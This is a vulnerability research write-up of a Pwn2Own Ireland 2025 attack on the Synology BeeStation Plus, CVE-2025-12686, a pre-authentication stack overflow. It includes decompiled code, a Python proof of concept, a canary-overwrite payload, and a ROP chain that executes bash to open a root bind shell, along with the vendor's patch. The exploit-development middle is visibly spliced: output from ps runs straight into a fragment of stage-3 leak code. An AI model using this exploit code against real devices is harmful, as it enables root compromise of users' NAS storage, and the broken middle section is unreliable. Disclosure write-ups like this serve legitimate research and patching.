# Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey

This article documents our successful exploitation at Pwn2Own Ireland 2025 against the BeeStation Plus. We walk through the full vulnerability research process, including attack surface enumeration, code auditing, exploit development, and ultimately obtaining a root shell on the target.

Looking to improve your skills? Discover our **trainings** sessions! Learn more.

## Context

Last year during `Pwn2Own Ireland 2024`, Synacktiv successfully targeted the `BeeStation BST150-4T`, as detailed in our previous blogpost. The `BeeStation` is a user-friendly NAS device commercialized by Synology since March 2024.

For `Pwn2Own Ireland 2025`, a new model of the device appeared in the event’s target list: `Synology BeeStation Plus (BST170-8T)`, released at the end of May 2025. Naturally, we decided to take a closer look at it.

## Firmware and application extractions

The `BeeStation` firmware is publicly available from Synology. However, it is distributed in encrypted form, which means a bit of preparation is needed before any analysis can begin. Earlier this year, Synacktiv released `synodecrypt`, a tool capable of decrypting all Synology encrypted archives ( `SPK`, `PAT`, and others).

## Attack surface

Before diving into vulnerability research, we first mapped out the accessible attack surface within the constraints defined by the Pwn2Own Ireland 2025 rules:

“`
An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or from the contestant’s laptop within the contest network. Vulnerabilities in non-default apps/plugins, netatalk and MiniDLNA are out of scope.
“`

On the `BeeStation`, we identified a subset of noteworthy services exposed and listening on the network:

“`
Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 7985/nginx: master tcp 0 0 0.0.0.0:6600 0.0.0.0:* LISTEN 7985/nginx: master tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN 7985/nginx: master tcp 0 0 0.0.0.0:6601 0.0.0.0:* LISTEN 7985/nginx: master tcp 0 0 0.0.0.0:5001 0.0.0.0:* LISTEN 7985/nginx: master tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 7985/nginx: master […]
“`

Although additional services are present, identifying that `nginx` exposes the main web interfaces already provides a strong entry point.

Depending on the requested path, `nginx` forwards incoming traffic to different backend services. In our case, we focused primarily on the various APIs exposed through the `/webapi/entry.cgi` endpoint.

The `nginx` configuration is spread across multiple files, which makes it somewhat cumbersome to analyze. Fortunately, the full active configuration can be dumped using `nginx -T`.

Inspecting this configuration reveals that requests to `/webapi/entry.cgi` are forwarded to the Unix socket `/run/synoscgi.sock`.

“`
http { upstream synoscgi { server unix:/run/synoscgi.sock; } # […] server { listen 5000 default_server; listen [::]:5000 default_server; # […] location ~ .cgi { include scgi_params; scgi_pass synoscgi; scgi_read_timeout 3600s; }
“`

Using `netstat`, we can enumerate the processes listening on this specific socket:

“`
root@BeeStation:~# netstat -pax | grep synoscgi.sock unix 2 [ ACC ] STREAM LISTENING 283367 29751/synoscgi /run/synoscgi.sock
“`

We can apply the same approach to the various sections of the `nginx` configuration to identify which processes are bound to each socket. The following diagram illustrates the different services exposed through `nginx`.

A large number of API routes are exposed through `entry.cgi`. Clients interact with these routes by specifying the `API subsystem`, the version and the method they want to invoke. These parameters are transmitted via the HTTP `POST` or `GET` fields `api`, `version` and `method`.

All API routes are defined in `.lib` files-JSON descriptors that enumerate the available methods for a given endpoint and specify which shared library is responsible for processing them.

The following snippet, for instance, is extracted from `SYNO.API.Auth.lib` and documents part of the `authentication API`:

“`
{ // […] “SYNO.API.Auth.Key”: { // <- api “allowUser”: [ “admin.local”, “admin.domain”, “admin.ldap”, “normal.local”, “normal.domain”, “normal.ldap” ], “appPriv”: “”, “authLevel”: 1, “disableSocket”: false, “lib”: “lib/SYNO.API.Auth.so”, “maxVersion”: 7, “methods”: { “7”: [ // <- version { “grant”: { // <- method “cgiProcReusable”: true, “grantByUser”: false, “grantable”: true, “systemdSlice”: “” } }, { “get”: { “cgiProcReusable”: true, “grantByUser”: false, “grantable”: true, “systemdSlice”: “” } } ] }, “minVersion”: 7, “priority”: 0, “priorityAdj”: 0, “socket”: “”, “socketConnTimeout”: 600 }, // […] }
“`

It is also possible to extract the API definitions directly from the underlying libraries. Each of them exports the `GetAPITable` symbol, a function that returns a pointer to a table containing the following fields:

“`
struct api_table_entry_t { char *api; uint64_t version; char *method; unsigned __int64 (__fastcall *func)(__int64, __int64); };
“`

The API definitions expose more than 3,800 distinct routes.

However, most of these routes are clearly not reachable in a pre-authentication attack scenario. By filtering the API definitions according to the `authLevel` field, we identified a total of 69 routes that can be accessed without authentication.

This significantly reduces the attack surface, making it much faster to iterate over.

## Vulnerability – CVE-2025-12686

Among the routes accessible without authentication, the `auth` method of the `SYNO.BEE.AdminCenter.Auth` endpoint is vulnerable to a `stack-based buffer overflow`.

The URL used to reach this endpoint is:

“`
http://target_ip:5000/webapi/entry.cgi?api=SYNO.BEE.AdminCenter.Auth&version=1&method=auth
“`

The code responsible for handling this request resides in `/var/packages/bee-AdminCenter/target/webapi/Auth/SYNO.BEE.AdminCenter.Auth.so`. This shared library is part of the `bee-AdminCenter` package, which is installed by default and specific to the `Beestation` – not present as is on `DiskStation`)

During request processing, the function `SYNO::BEE::AuthHandler::Auth` from `SYNO.BEE.AdminCenter.Auth.so` is invoked.

This function first retrieves the `auth_info` HTTP parameter into an `std::string`, then calls `SYNO::BEE::Auth::AuthManagerImpl::Auth`, which is implemented in `libsynobeeadmincenter.so`:

“`
// SYNO.BEE.AdminCenter.Auth.so unsigned __int64 __fastcall SYNO::BEE::AuthHandler::Auth(SYNO::BEE::AuthHandler *this) { // […] SYNO::BEE::BsmManagerBuilder::Build(&bsm_manager); vtable = bsm_manager->vtable; auth = vtable->_ZNK4SYNO3BEE14BsmManagerImpl4AuthERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE; // retrieve the argument auth_info into param_auth_info basic_string(str_auth_info, “auth_info”, “”); SYNO::APIRequest::GetAndCheckString(¶m_auth_info, *this, str_auth_info, 0, 0); // […] // copy param_auth_info into the new std::string auth_info _auth_info = (cpp_string_t *)SYNO::APIParameter::Get(¶m_auth_info); len = _auth_info->len; auth_info.buf = (char *)v52; basic_string(&auth_info, _auth_info->buf, &_auth_info->buf[len]); SYNO::APIParameter::~APIParameter(¶m_auth_info); // call SYNO::BEE::Auth::AuthManagerImpl::Auth ((void (__fastcall *)(size_t *, BsmManager *, cpp_string_t *))auth)(v57, bsm_manager, &auth_info); // […] }
“`

`SYNO::BEE::Auth::AuthManagerImpl::Auth` then calls `SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo`:

“`
// libsynobeeadmincenter.so __m128i **__fastcall SYNO::BEE::Auth::AuthManagerImpl::Auth( __m128i **a1, SYNO::BEE::Auth::AuthManagerBuilder *auth_manager, _QWORD *auth_info) { // […] SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo(v44, auth_manager, auth_info); // […] }
“`

First, `SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo` decodes `auth_info`, using `SLIBCBase64Decode`, into `decoded`, a 4096-bytes stack-allocated buffer.

“`
_QWORD *__fastcall SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo( _QWORD *a1, __int64 auth_manager, cpp_string_t *auth_info) { char decoded[4096]; // [rsp+160h] [rbp-1048h] // […] auth_info_len = auth_info->len; decoded_len = auth_info_len; // [1] memset(decoded, 0, 4096); SLIBCBase64Decode(auth_info->buf, auth_info_len, decoded, &decoded_len); // […] }
“`

`SLIBCBase64Decode` takes a `base64-encoded` buffer as input and decodes it into another buffer passed as an argument. Here is the function definition:

“`
SLIBCBase64Decode(char *encoded, size_t encoded_len, char *decoded, size_t *decoded_len);
“`

At [1], in `SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo`, `auth_info->len` is used as the length of the decoded buffer. However, `auth_info->len` is **attacker-controlled** and `decoded` is a **fixed-size** buffer of 4096-bytes.

**There is a stack-based buffer overflow.**

`Stack-smashing protection` is enabled so a `canary` is present on the stack. However, the web server forks for each new connection thus the `canary` is always the same, which allows an attacker to bruteforce and to retrieve its value.

And as the cherry on top, the `CGI` program executes with `root` privileges.

### Triggering the vulnerability

As a simple proof of concept, we can encode more than 4096 bytes and put them into the `auth_info` parameter:

“`
def send_request(data, timeout=None): b64_data = base64.b64encode(data).decode().replace(“=”, “”) url_template = “http://NAS-IP:5000/webapi/entry.cgi” url = url_template.replace(“NAS-IP”, ip_address) r = requests.post(url, data={ “api”: “SYNO.BEE.AdminCenter.Auth”, “version”: “1”, “method”: “auth”, “auth_info”: b64_data }, timeout=timeout) return r pld = b”A”*5000 send_request(pld)
“`

The server answers with a default page and a `502` HTTP code: this will be our oracle for knowing when the process has crashed. It is also possible to check the crash using `dmesg` on the `BeeStation`:

“`
[11174.496182] traps: SYNO.BEE.AdminC[29340] general protection fault ip:7fcf024990fa sp:7ffc90fbc2c0 error:0 in libgcc_s.so.1[7fcf0248c000+10000]
“`

The crash occurs inside `libgcc_s.so.1`, a library responsible for several low-level runtime mechanisms, including exception handling. This suggests that our input is likely triggering an exception during processing. Additional details about this library can be found here.

An examination of `SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo` shows that three specific conditions must be met to prevent the function from throwing an exception:

“`
// […] SLIBCBase64Decode(auth_info->buf, auth_info_len, decoded, &decoded_len); Json::Value::Value(v19, 0); Json::Reader::Reader(&v22); v20[0] = v21; v7 = strlen(decoded); basic_string(v20, decoded, &decoded[v7]); v8 = Json::Reader::parse(&v22, v20, v19, 1); if ( v20[0] != v21 ) operator delete(v20[0], v21[0] + 1LL); sub_6A0E0(&v22); if ( !v8 ) { exception = __cxa_allocate_exception(0x30u); basic_string_cstr(v20, “Failed to parse authInfo”); // […] __cxa_throw(exception, off_114D98, (void (*)(void *))sub_81700); } if ( !Json::Value::isMember(v19, “state”) || (v9 = (Json::Value *)Json::Value::operator[](v19, “state”), !Json::Value::isString(v9)) ) { v3 = __cxa_allocate_exception(0x30u); basic_string_cstr(v20, “Failed to get [%s] from auth_info”); // […] __cxa_throw(v3, off_114D98, (void (*)(void *))sub_81700); } if ( !Json::Value::isMember(v19, “code”) || (v10 = (Json::Value *)Json::Value::operator[](v19, “code”), !Json::Value::isString(v10)) ) { v5 = __cxa_allocate_exception(0x30u); basic_string_cstr(v20, “Failed to get [%s] from auth_info”); // […] __cxa_throw(v5, off_114D98, (void (*)(void *))sub_81700); }
“`

Therefore, we need a valid JSON string containing both the `state` and `code` fields. Fortunately, the input is `base64-encoded`, which means it can include arbitrary bytes – including null bytes and newline characters. This allows us to append a null byte immediately after the JSON object while still keeping the overall input valid JSON.

Our payload to trigger the vulnerability consists of the JSON object `{“code”:””,”state”:””}`, followed by a null byte to terminate the string, and then a large sequence of `A` characters.

For example, the following script overwrites the stack canary:

“`
pld = b'{“code”:””,”state”:””}x00′ pld += b’A’*4081 pld += b”xbexbaxfexcaxefxbexadxde” send_request(pld)
“`

To debug the crash, we can either use the generated core dump located at `/volume1/@SYNO.BEE.AdminC.synology_geminilakemango_bst170-8t.65646.core.gz`, or attach directly to the `synoscgi` process, as shown earlier during the attack surface enumeration.

Using `ps`, we can observe that numerous `synoscgi` child processes are spawned: one for each incoming request handled by the web server.

“`
root@BeeStation:~# ps faux | grep synoscgi […] root 29751 0.0 0.6 48304 24464 ? S> 12) << 12 stage3_time = int(time.time() – stage2_time – stage1_time – start_time) print(“[+] libsynobeeadmincenter base address leaked”) print(“[+] Stage 3 execution time : %d seconds” % stage3_time)
“`

### Overwriting and ROPing

All that remains is to chain the appropriate gadgets to achieve code execution.

We opted to use a `write-what-where` gadget to place the required strings into a controlled buffer (such as `/bin/bash` and the payload for the bind shell), and then invoke `SLIBCExecl`. This function is imported by `libsynobeeadmincenter.so` and essentially behaves like the standard `execl` call.

“`
def arb_write_ptr(addr, value): if debug: print(f”write @ {hex(addr)} <- {value}”) assert len(value) == 8 ret = b”” ret += pop_rdi + p64(addr) ret += pop_rsi + value ret += p64(lib_addr + 0x0000000000080c6d) # mov qword ptr [rdi], rsi ; xor eax, eax ; ret return ret def arb_write(addr, data): ret = b”” for i in range(0, len(data), 8): if debug: print(hex(addr + i), data[i:i+8]) ret += arb_write_ptr(addr + i, data[i:i+8].ljust(8, b”x00″)) if debug: print(ret) return ret # […] # setup strings pld += arb_write_ptr(addr_buf, b”/bin/bas”) pld += arb_write_ptr(addr_buf+8, b”hx00-cx00″.ljust(8, b”x00″)) # some stack values are overwritten, so just skip them pld += pop6 + p64(0)*6 pld += pop6 + p64(0)*6 pld += pop5 + p64(0)*5 pld += pop3 + p64(0)*3 pld += pop3 + p64(0)*3 pld += arb_write(addr_buf+0x10, cmd) # setup args and call SLIBCExecl pld += pop_rdi + p64(addr_buf) pld += pop_rsi + p64(249) pld += pop_rdx + p64(addr_buf+0xa) pld += pop_rcx + p64(addr_buf+0x10) pld += pop_r8 + p64(0) pld += slibc_execl r = send_request(pld)
“`

At `Pwn2Own`, each attempt is limited to a maximum duration of ten minutes. Bruteforcing the three pointers is relatively slow, so we leveraged multithreading to accelerate this stage of the exploit. With sixteen threads, it takes under three minutes to obtain a shell.

“`
➜ bee_admin_center git:(master) ✗ python3 exploit.py [+] Start pwning Synology BeeStation Plus @ localhost […] [+] Canary leaked [+] Stage 1 execution time : 50 seconds […] [+] Stack address leaked [+] Stage 2 execution time : 59 seconds […] [+] libsynobeeadmincenter base address leaked [+] Stage 3 execution time : 44 seconds [+] Total execution time : 154 seconds [+] Opening connection to localhost on port 9001: Done __________ .___ ___. _________ __ __ .__ ______ __ _ ______ ____ __| _/ _ |__ ___.__. / _____/__.__. ____ _____ ____ | | ___/ |_|__|__ __ | ___/ / / / _/ __ / __ | | __ < | | _____ < | |/ \__ _/ ___| |/ / __ / / | | / | ___// /_/ | | _ ___ | / ___ | | / __ \ ___| < | | | | / |____| /_/|___| /___ >____ | |___ / ____| /_______ / ____|___| (____ /___ >__|_ |__| |__| _/ / / / // // / / / / [*] Switching to interactive mode $ id uid=0(root) gid=0(root) groups=0(root),999(synopkgs),170597(bee-AdminCenter)
“`

## Pwn2Own experience

The `Pwn2Own Ireland 2025` took place in Cork from October 20th to 23rd. The draw happened on the first day, and we were quite fortunate this year: we received the very first slot, and only one other team had registered an entry targeting the device. By contrast, in 2024, five teams competed against it.

Anticipating potential setup issues during the event, we thoroughly stress-tested our exploit beforehand, even though the exploitation process itself was fairly straightforward. Despite that preparation, it ultimately took us three attempts to successfully compromise the device, and we requested a reboot between the second and third attempts.

We were not able to fully determine what went wrong during the failed runs, but we know that the third leak, the base address of the target library, did not behave as expected, even though the first two leaks worked reliably.

Fortunately, everything aligned on the third attempt, and the exploit executed flawlessly.

Surprisingly, `Synology` did not release any last-minute update for the `BeeStation`, so we did not need to update our exploit or hunt for an alternative vulnerability.

## The Patch

On the 30th October, Synology released a BSM update (i.e. an OS update), version `1.3.2-65648`. We can extract the new version and use `Meld` to hightlight what has been modified. In this update, some AppArmor profiles were created, others have been upgraded. The kernel module `flashcache_syno.ko` has been modified, and a new version of `bee-AdminCenter` is included: `1.3-0531` while the previous version was `1.3-0528`. In the new version of `bee-AdminCenter` some libraries have been updated: `libsynobeeadmincenter.so`, `libsynobeerpcdaemon.so` and `libsynodbus.so`.

Looking at `libsynobeeadmincenter.so`, where our vulnerability is located, we find that a check has been added in `SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo` before the base64 decoding, which prevents the buffer overflow:

“`
auth_info_len = auth_info->len; – decoded_len = auth_info_len; + decoded_len = 4096; memset(decoded, 0, 4096); + if ( auth_info_len > 0x1000 ) + { + exception = (char *)__cxa_allocate_exception(0x30u); + len = auth_info->len; + basic_string_cstr(v29, “Failed to parse authInfo: size too large: %zu”); + basic_string_cstr(v30, “auth/auth_manager.cpp”); + // […] + __cxa_throw(exception, off_115D98, sub_81930); + } SLIBCBase64Decode(auth_info->buf, auth_info_len, decoded, &decoded_len);
“`

The vulnerability has been identified as `CVE-2025-12686`.

## Conclusion

This `Pwn2Own` entry targeting the `BeeStation` represented about one month of work. Most of that time was spent analyzing the attack surface and understanding the behavior of the web server. Once the reachable attack surface was clearly defined, identifying the vulnerability and developing the exploit took less than a week.

## Timeline

– 11th August 2025: start of the research
– 26th August 2025: BeeStation Plus received
– 5th September 2025: attack surface well established
– 12th September 2025: vulnerability identified
– 13th September 2025: root shell obtained
– 21st October 2025: Pwn2Own 2025 @ Cork, Ireland
– 30th October 2025: Fix published through BSM update

## References

– Synology – BeeStation Plus 8TB Product Page
– ZDI – Pwn2Own Ireland 2024: Full Schedule
– ZDI – Pwn2Own Ireland 2024 Winning Entry Announcement
– ZDI – Pwn2Own Ireland 2024 Collision Announcement
– Synology – Launch of the BeeStation Plus
– ZDI – Pwn2Own Ireland 2025: Full Schedule
– ZDI – Pwn2Own Ireland 2025: Day One Results
– Midnight Blue – Pwn2Own Ireland 2024 Entries (Slides)
– Synology security advisory – CVE-2025-12686